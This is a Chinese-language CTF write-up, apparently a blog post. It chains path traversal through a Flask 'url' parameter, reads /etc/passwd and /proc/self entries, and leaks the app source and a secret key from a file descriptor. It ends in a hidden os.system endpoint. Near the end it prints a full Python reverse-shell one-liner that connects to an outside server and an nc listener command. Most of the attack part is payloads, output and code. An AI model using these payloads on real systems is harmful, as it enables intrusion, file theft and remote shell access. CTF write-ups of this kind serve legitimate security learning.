反弹shell以及proc虚拟文件系统

反弹shell以及proc虚拟文件系统

打开页面,发现是一个输入框,所以随便输入一些东西进去,发现有一个get提交的url参数,我们试着构造

1
/page?url=../../../../../etc/passwd

发现可以读取信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
app:x:1000:1000::/home/app:/bin/sh

所以我们可以尝试读取flag

1
/page?url=../../../../../flag

发现可以读取flag

当然了,如果flag不在这个目录下怎么办呢?我们可以尝试利用proc系统

Linuc下的proc/pid/信息说明

proc是一个虚拟文件系统,它挂载于Linux系统中的/proc目录之上,它有多个功能,其中一个重要的功能是用户可以通过它访问内核信息或排错

进程信息

在/proc文件系统中,每个进程都有一个相应的文件,以下是/proc目录下的一些重要文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
/proc/pid/cmdline:包含了用于开始进程的命令

/proc/pid/cwd:包含了当前进程工作目录的一个链接

/proc/pid/environ:包含了可用进程环境变量的列表

/proc/pid/exe:包含了正在进程中运行的程序链接

/proc/pid/fd/:这个目录包含了进程打开的每一个文件的链接

/proc/pid/mem:包含了进程在内存中的内容

/proc/pid/stat:包含了进程的状态信息

/proc/pid/statm:包含了进程的内存使用信息

其中的pid一般是端口号或者是self,可以在本地ubuntu使用

1
cd /proc/

来查看里面的信息

/proc目录的大致介绍

1
2
3
4
5
6
7
8
9
10
1. 【number】:在/proc目录下,每个正在运行的进程都有一个以该进程ID命名的子目录

2. 【number】/cmdline:该文件保存了进程的完整命令,如果该进程已经被交换出内存或僵死,则该文件为空

3. 【number】/cwd:一个符号连接,指向进程当前工作目录

4. 【number】/environ:该环境保存进程的环境变量,各项之间以空字符作为间隔,结尾也可能是一个空字符,可以使用echo /proc/1/environ来查看1进程的环境变量

5. 【number】/exe:是一个符号连接,指向被执行的二进制代码,在Linux2.0或更加版本的下,对exe特殊文件的readlink(2)返回一个如下格式的字符串:[设备号]:节点号
6. 【number】/fd:进程所打开的每个文件都有一个符号连接在该子目录下,以文件描述符命名,这个名字实际上是指向真正的文件符号连接

[/proc虚拟文件系统的详细说明][https://blog.csdn.net/shenhuxi_yu/article/details/79697792]

所以回到题目本身,我们可以构造

1
/page?url=/proc/self/cmdline

来查看开始进程命令为

1
python3 app.py

所以我们可以构造

1
/page?url=/proc/self/cwd/app.py

来读取app.py文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from flask import Flask, Response
from flask import render_template
from flask import request
import os
import urllib

app = Flask(__name__)

SECRET_FILE = "/tmp/secret.txt"
f = open(SECRET_FILE)
SECRET_KEY = f.read().strip()
os.remove(SECRET_FILE)


@app.route('/')
def index():
return render_template('search.html')


@app.route('/page')
def page():
url = request.args.get("url")
try:
if not url.lower().startswith("file"):
res = urllib.urlopen(url)
value = res.read()
response = Response(value, mimetype='application/octet-stream')
response.headers['Content-Disposition'] = 'attachment; filename=beautiful.jpg'
return response
else:
value = "HACK ERROR!"
except:
value = "SOMETHING WRONG!"
return render_template('search.html', res=value)


@app.route('/no_one_know_the_manager')
def manager():
key = request.args.get("key")
print(SECRET_KEY)
if key == SECRET_KEY:
shell = request.args.get("shell")
os.system(shell)
res = "ok"
else:
res = "Wrong Key!"

return res


if __name__ == '__main__':
app.run(host='0.0.0.0', port=8080)

通过这串代码

1
2
3
key = request.args.get("key")
print(SECRET_KEY)
if key == SECRET_KEY:

可知,我们需要知道key是什么,所以我们可以使用

1
/page?url=/proc/self/fd/[number]

命令来读取进程打开的每一个文件,其中通过测试number为3,即

1
/page?url=/proc/self/fd/3

发现key,然后经过url编码为

1
C7ueFsNl0ianR6uxTgIqepkLxQDSp0OE5pyPl51XA%2F4%3D

然后通过这串代码

1
2
3
4
5
os.system(shell)
res = "ok"
else:
res = "Wrong Key!"

可知,我们可以构造shell参数,来使用反弹shell,由于系统是python文件,所以我们需要一个python写的反弹shell

1
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("118.***.***.***",39555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

其中ip部分写自己的服务器的公网ip,端口可以写7777,然后在服务器的命令行可以输入

1
nc -lvvp 7777

来监控7777端口,接受反弹shell,但是我的阿里云的服务器用不了,很气人,推荐腾讯云,所以我们可以构造payload,其中shell参数的值需要url编码

1
/no_one_know_the_manager?key=C7ueFsNl0ianR6uxTgIqepkLxQDSp0OE5pyPl51XA%2F4%3D&shell=python3%20-c%20%27import%20socket%2Csubprocess%2Cos%3Bs%3Dsocket.socket(socket.AF_INET%2Csocket.SOCK_STREAM)%3Bs.connect((%2247.242.68.88%22%2C7777))%3Bos.dup2(s.fileno()%2C0)%3B%20os.dup2(s.fileno()%2C1)%3B%20os.dup2(s.fileno()%2C2)%3Bp%3Dsubprocess.call(%5B%22%2Fbin%2Fsh%22%2C%22-i%22%5D)%3B%27

然后就可以获得shell了